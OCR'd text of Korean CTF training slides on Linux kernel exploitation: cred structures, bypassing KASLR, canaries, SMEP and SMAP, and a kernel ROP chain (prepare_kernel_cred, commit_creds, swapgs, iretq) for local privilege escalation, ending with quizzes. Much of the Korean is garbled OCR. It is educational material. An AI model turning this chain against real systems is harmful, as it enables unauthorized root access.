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Linux Kernel 7|= X| &

e \What Is a Kernel?
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Linux Kernel 7|= X| &

e Task

Linux KernelQ M= ZE2MAL MY EQ| HO|HE Task 2t= XN E Sl|A 2| &
ol=0| O] f 2t =2 M|A or MY E OFC} Task”Zf 0| =ICF,

https://elixir.bootlin.com/linux/v6.18.6/source/include/linux/sched.n#L819
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Linux Kernel 7|= X| &

e Task Struct
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Linux Kernel 7|= X| &

e Task Struct

Process Name X%}

el taske| 13 HHE MY mO|M S..)

Process ID X%t
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Linux Kernel 7|= X| &

e Cred Struct

cred struct &

UDc o Z2NA2| ALEALIDE ME

(task_struct LI cred structE root HeH2| cred strutE EHO{M = A SO 2 ATt 450]| 7Hs)

task struct Y&
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Linux Kernel 7|= X| &

e |inux Kemel =8 API

int copy_from_user(void* to, const void __user* from, unsigned long n)
int copy_to_user(void __user* to, const void* from, unsigned long n)
struct cred *prepare_kernel_cred(struct task_struct *daemon)

INt commit_creds(struct cred *new)

© Hackingcamp. All Rights Reserved



Linux Kernel 7|= X| &

e copy_from_user

int copy_from_user(void* to, const void __user* from, unsigned long n)

FX BYo| GIO|HE M R 21Xt n byte THE 72 0| A

Kernel Space

User Space A A A A A A

* N byte 20| ZZ0| 0|2 A overfiow X|2F 24l
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Linux Kernel 7| X K]

e copy_from_user

Kernel Space

int copy_from_user(void* to, const void __user* from, unsigned long n)
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Linux Kernel 7|= X| &

* Ccopy_to_user

int copy_to_user(void* _to, const void user* from, unsigned long n)

712 Y2 HO|HZ M B/ 2K} n byte BHE A GO0 =A

Kernel Space A A A A A A

User Space

* from Off =0 7t= kemel address 2= TAEE 752 8% kemel address leak 7t

© Hackingcamp. All Rights Reserved



Linux Kernel 7|= X| &

* Ccopy_to_user

int copy_to_user(void* _to, const void user* from, unsigned long n)

Kernel Space
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Linux Kernel 7|= X| &

* prepare_kernel_cred

struct cred *prepare_kernel_cred(struct task_struct *daemon)

Hot= MR HE| cred HENE HE5SH= &= kernel v6.2 O|T7IHX| = QIXtZ 02 & 4% root HoHo)
A4 8= 7HH20E (ve2FH = T &)

https://elixir.bootlin.com/linux/v6.1.75/source/kernel/cred.c
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Linux Kernel 7|= X| &

e Compare prepare_kernel_cred Versions

QIXIZ7F NULLO|™ NULLS ghet

QIXt7F NULLO|™H &init_credE 7143

https://elixir.bootlin.com/linux/v6.1.75/source/kernel/cred.c https://elixir.bootlin.com/linux/v6.18.6/source/kernel/cred.c
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Linux Kernel 7|= X| &

e struct cred Iinit cred

ROOT (0) Hote| HEE 7K1 Q= 24K
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Linux Kernel 7|= X| &

e commit creds

Int commit_creds(struct cred * new)

CIXtZ S0{2 cred M2 X143 8= 7t Z2NA9| A fls HE0= g
2t QIXLE rootl] At4 SE= 7L e ced TFZMVF 20E 87 olid ZEAM|A= root/f =Lt (Heh &5)

B~

kernel v6.2 O| M 77HX| = commit_creds(prepare_kernel cred(0))E AHE3H Local Privilege Escalation =2t

e

kernel v6.2 O| 22 E{= commit_creds(prepare_kernel_cred(&init_task))E A5l Local Privilege Escalation =2
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Linux Kernel 7|= X| &

e Kernel Module

OF

AHE22| ME2 7Is= 37| ?l6ll =7Iots LEAE Wt

Offi 7158 271317) %) 719 LR E S CA
50| Hef= YA S5 F0| F71 L MAHS ok 20| FHssict
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Linux Kernel 7|= X| &

e Kemel Module Programming

example kernel driver source code
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Linux Kernel 7|= X| &

e Kemel Module Programming

Makefile
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Linux Kernel 7|= X| &

e Kemel Module Programming

hcampko 2= I} 44
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CTFO M 2| Linux Kernel Exploit

e ELF Binary Exploita}2| X}O| A

exploit.py &

from pwn import* $ cat flag.txt

p = remote(...

p.interactive()
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CTFO M 2| Linux Kernel Exploit

e ELF Binary Exploita}2| X}O| A

$ ./exploit

# whoami
root
# cat flag.txt

Linux Kernel Exploit= User shellO| = &EHHIA Kemnel F2fE S 0|23l ROOTE #Hot &5 (LPE)2 ot AO| =H8
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CTFO M 2| Linux Kernel Exploit

 CTF Kernel Exploit Challenge It 414

LINE CTF 2021 - pprofile
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CTFO M 2| Linux Kernel Exploit

 CTF Kernel Exploit Challenge It 414
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CTFO M 2| Linux Kernel Exploit

 CTF Kernel Exploit Challenge It 414
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CTFO M 2| Linux Kernel Exploit

 CTF Kernel Exploit Challenge It 414
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CTFO M 2| Linux Kernel Exploit

 CTF Kernel Exploit Challenge It 414
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CTFO M 2| Linux Kernel Exploit

 CTF Kernel Exploit Challenge It 414

O
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| LHEQ| init A3 EEE S5l pprofilekos &Y
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CTFO M 2| Linux Kernel Exploit

 CTF Kernel Exploit Challenge It 414

Kemel Dirver exploitS &3l ROOT #ot= ®0] flag IS H= A0| CTFO|MS| S &
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CTFO M 2| Linux Kernel Exploit

* Linux Kemel Memory Protection

- KASLR
- SSP
- SMEP

- SMAP
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CTFO M 2| Linux Kernel Exploit

e KASLR (Kermnel Address Layout Randomization)

HeE EYO| =AE TE D} St= 7| &, User Spacel| ASLRI} H|Z==StC}
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CTFO M 2| Linux Kernel Exploit

e SSP (Stack Smashing Protector)

User Space®| Canary 22 7|1t 5¢, Kernel StackOl| Canary /2 &2 X A5 = Tt
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CTFO M 2| Linux Kernel Exploit

e SMEP (Supervisor Mode Execution Prevention)

User Spacel| ZE Hall= 8= 7|2 RING 0 0| M RING 3 QY| ZEE A=
%I-Xl _é;l'E-" (User Space2| NX2t FAh

ret2usr 7|2 O|Lt User Space2| code gadget= AL =7t

push 0x40121b (User Space Function)
pop rax
call rax

e

User Space codes 2 M= [ Kemel Panic &
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CTFO M 2| Linux Kernel Exploit

e SMEP (Supervisor Mode Execution Prevention)

User Spacedf| Het &S payloadS == 7, Kemel2| RIP 4{= oS AddressZ B = ret2usr 4=
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CTFO M 2| Linux Kernel Exploit

e SMEP (Supervisor Mode Execution Prevention)

H St A O|lO
X e = RUZ
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CTFO M 2| Linux Kernel Exploit

e SMAP (Supervisor Mode Access Prevention)

SMEPO|M Z3tEl B2 7|8, 4 EFe| ZE A # 0 OtL|2f read, write # o 77X & Bh=Ct

User Space0|| kernel gadget= 211 rspE £20l= Kemel Stack Pivoting EE2F AFE0| =76HA| =Lt

mov rax, Ox7ffff7fa2000 (User Space)
mov rdx, qword ptr [rax]

User Space Memory0f| H2 = [ Kermnel Panic ‘&4
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Linux Kernel Exploit Technique

* Kemel Return Oriented Programming

SMEP, SMAPZ Q13}| User Spacel| ZEE AFE0FA| XSt LE KASLRE O|oH)\1 Memory Leak
WHO| st AL User Spacedl A 2| Exploit 21t OFXHZLX| 2 ROPZ|H S O|2HC}

commit creds(prepare kernel cred(&init task)) € @ =510 #Hot 52 slot= YHS A7
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Linux Kernel Exploit Technique

* Kemel Return Oriented Programming

Buffer Overflow F| 20| =X} St= Device Driver Source Code
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Linux Kernel Exploit Technique

* Kemel Return Oriented Programming

$ /run.sh
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Linux Kernel Exploit Technique

* Kemel Return Oriented Programming

KASLR, SMEP, SMAP Enable
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Linux Kernel Exploit Technique

e KASLR, SSP Bypass

count 2f 20| 7}F5SIE 2 arr HYE 90 Kemnel StackOf] &0 U= Address Leak 7=
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Linux Kernel Exploit Technique

e KASLR, SSP Bypass
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Linux Kernel Exploit Technique

e KASLR, SSP Bypass
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Linux Kernel Exploit Technique

e KASLR, SSP Bypass
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Linux Kernel Exploit Technique

e KASLR, SSP Bypass

copy_to_user(0x00007ffde2239af0, Oxffffc90000243e40, 0x64)

User Space Kernel Space
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Linux Kernel Exploit Technique

e KASLR, SSP Bypass

I —

Kernel Canary Kernel Address

LEAK TARGET
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Linux Kernel Exploit Technique

e KASLR, SSP Bypass

Kernel Stack

copy_to_user 2= M

User Stack
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Linux Kernel Exploit Technique

e KASLR, SSP Bypass

User Space Kernel Space

copy._to_user(0x00007ffde2239af0, Oxffffc90000243e40, 0x64) 2= =
User Space0i| H[O|E 7} =AtEl A= =242l 7hs
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Linux Kernel Exploit Technique

e KASLR, SSP Bypass

Canary , Kernel Address Leak Success
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Linux Kernel Exploit Technique

e Kernel RIP Control

count ¢f Z=&0| 7tS5HEE, arr ELF 2 242 0| Kemel Stack Buffer Overflow 274
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Linux Kernel Exploit Technique

e Kernel RIP Control
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Linux Kernel Exploit Technique

e Kernel RIP Control
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Linux Kernel Exploit Technique

e Kernel RIP Control
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Linux Kernel Exploit Technique

e Kernel RIP Control

copy_from_user(0Oxffffc90000237e48, 0x00007ffe987ea5c0, 0x64)

Kernel Space User Space
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Linux Kernel Exploit Technique

e Kernel RIP Control

User Stack

copy_from_user 2=

Kernel Stack
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Linux Kernel Exploit Technique

e Kernel RIP Control

1

Return Address Overwrite Success
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Linux Kernel Exploit Technique

e Kernel RIP Control
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Linux Kernel Exploit Technique

e User Context Backup

Kemel SpaceO|A] 3t A52 3G F| User 2521 get shell & Ml X} HAXO|A User MEHE ZO0LR7| {ISHA=
AH2| Context= Mot E0r= M 5+ A0 €

ejot 8= st | 2f6l tf T H=a0f| Sl ContextE X &ot= EHA
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Linux Kernel Exploit Technique

e User Context Backup
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Linux Kernel Exploit Technique

* Kemel Return Oriented Programming
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Linux Kernel Exploit Technique

* Kemel Return Oriented Programming
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Linux Kernel Exploit Technique

* Kemel Return Oriented Programming
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Linux Kernel Exploit Technique

RSP

$rip : pop rdi ; ret

© Hackingcamp. All Rights Reserved

pop rdi ; ret

init_task_ptr

prepare kernel cred

poOp_rcx

0

mov rdi, rax ; rep movsqg gword ptr [rdi],
gword ptr [rsi] ; ret

commit_creds




Linux Kernel Exploit Technique

$rip : pop rdi ; ret

[Register]

$rdi : &init task ptr

RSP
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pop rdi ; ret

init_task_ptr

prepare kernel cred

pPOp rcx

0

mov rdi, rax ; rep movsqg gword ptr [rdi],
gword ptr [rsi] ; ret

commit_creds




Linux Kernel Exploit Technique

$rip : prepare_kernel_cred

[Register]
RSP

$rdi : &init task ptr

prepare_kernel_cred(&init_task)
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pop rdi ; ret

init_task_ptr

prepare kernel cred

pPOp rcx

0

mov rdi, rax ; rep movsqg gword ptr [rdi],
gword ptr [rsi] ; ret

commit_creds




Linux Kernel Exploit Technique
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Linux Kernel Exploit Technique

$rip : pop rcx ; ret

[Register]
$rdi : &init task ptr

$rax : &root cred struct

RSP
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pop rdi ; ret

init_task_ptr

prepare kernel cred

poOp_rcx

0

mov rdi, rax ; rep movsqg gword ptr [rdi],
gword ptr [rsi] ; ret

commit_creds




Linux Kernel Exploit Technique

$rip : pop rcx ; ret

[Register]
$rdi : &init task ptr
$rax : &root cred struct

$rex ;0

RSP
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pop rdi ; ret

init_task_ptr

prepare kernel cred

pPOp rcx

0

mov rdi, rax ; rep movsqg gword ptr [rdi],
gword ptr [rsi] ; ret

commit_creds




Linux Kernel Exploit Technique

pop rdi ; ret
$rip : mov rdi, rax ; rep movsq qword ptr [rdi], gword ptr [rsi] ; ret
init_task_ptr
[Register] prepare kernel cred
. . POp_rcX
$rdi : &init task ptr
0

$rax : &root cred struct

mov rdi, rax ; rep movsqg gword ptr [rdi],
gword ptr [rsi] ; ret

$rex 0 0 RSP commit_creds
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Linux Kernel Exploit Technique

pop rdi ; ret
$rip : mov rdi, rax ; rep movsq qword ptr [rdi], gword ptr [rsi] ; ret
init_task_ptr
[Register] prepare kernel cred
. pPOp_rcx
$rdi : &root cred struct
0

$rax : &root cred struct

mov rdi, rax ; rep movsqg gword ptr [rdi],
gword ptr [rsi] ; ret

$rex 0 0 RSP commit_creds
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Linux Kernel Exploit Technique

pop rdi ; ret
$rip : mov rdi, rax ; rep movsq qword ptr [rdi], gword ptr [rsi] ; ret
init_task_ptr
[Register] prepare kernel cred
. pPOp_rcx
$rdi : &root cred struct
0

$rax : &root cred struct

mov rdi, rax ; rep movsqg gword ptr [rdi],
gword ptr [rsi] ; ret

$rex 0 0 RSP commit_creds

$rcxZF 00| B2 03] HE=
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Linux Kernel Exploit Technique

$rip : commit_creds

[Register]
$rdi : &root cred struct
$rax : &root cred struct

$rex ;0

RSP

commit_creds(&root_cred struct)
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pop rdi ; ret

init_task_ptr

prepare kernel cred

poOp_rcx

0

mov rdi, rax ; rep movsqg gword ptr [rdi],
gword ptr [rsi] ; ret

commit_creds




Linux Kernel Exploit Technique
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Linux Kernel Exploit Technique

swapgs ; ret

RSP iretq ; ret

tf.user rip

$rip : swapgs ; ret

tf.user cs

tf.user rflags

Hol &= 0|220]| KernelGSbase?| 4= tf.user rsp
GS.basel| 2= WA

)

tf.user_ss
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Linux Kernel Exploit Technique

swapgs ; ret

iretq ; ret

RSP
$rip : iretq ; ret

tf.user rip

tf.user cs

RSPO| S0{Q = User Space?| Context Datas

tf.user rflags

7tXet Ao A MElE S+

tf.user _rsp

tf.user_ss
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Linux Kernel Exploit Technique

RSPO|| U= 0x401745 (User Space Address)2 O|&

Kernel SpaceOf|A{ User SpaceZ gt
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Linux Kernel Exploit Technique

ROOT #H3t2 2 system(“/bin/sh™) &2
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Linux Kernel Exploit Technique

* Kemel Return Oriented Programming

Local Privilege Escalation Success
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Contect

E-mall : aku7777@ajou.ac.kr
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Quiz 1

QIXtZ E0|2 cred TEXIQ| X1 ZUE 7HX| 1 TZH AL MYUZ HASHE T4

1. copy_from_user

2. copy_to_user

3. commit creds

4. prepare_kernel_cred
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Quiz 1

QIXtZ E0|2 cred TEXIQ| X1 ZUE 7HX| 1 TZH AL MYUZ HASHE T4

1. copy_from_user

2. copy_to_user

3. commit creds

4. prepare_kernel_cred
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Quiz 2

KernelGSbase?2| 2} = GS.basel| 22 W H|5t= HAE2|0=?

1. ret
2. swapgs
3. Iretg

4. int4
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Quiz 2 - A&

KernelGSbase?2| 2} = GS.basel| 22 W H|5t= HAE2|0=?

1. ret
2. swapgs
3. Iretg

4. int4
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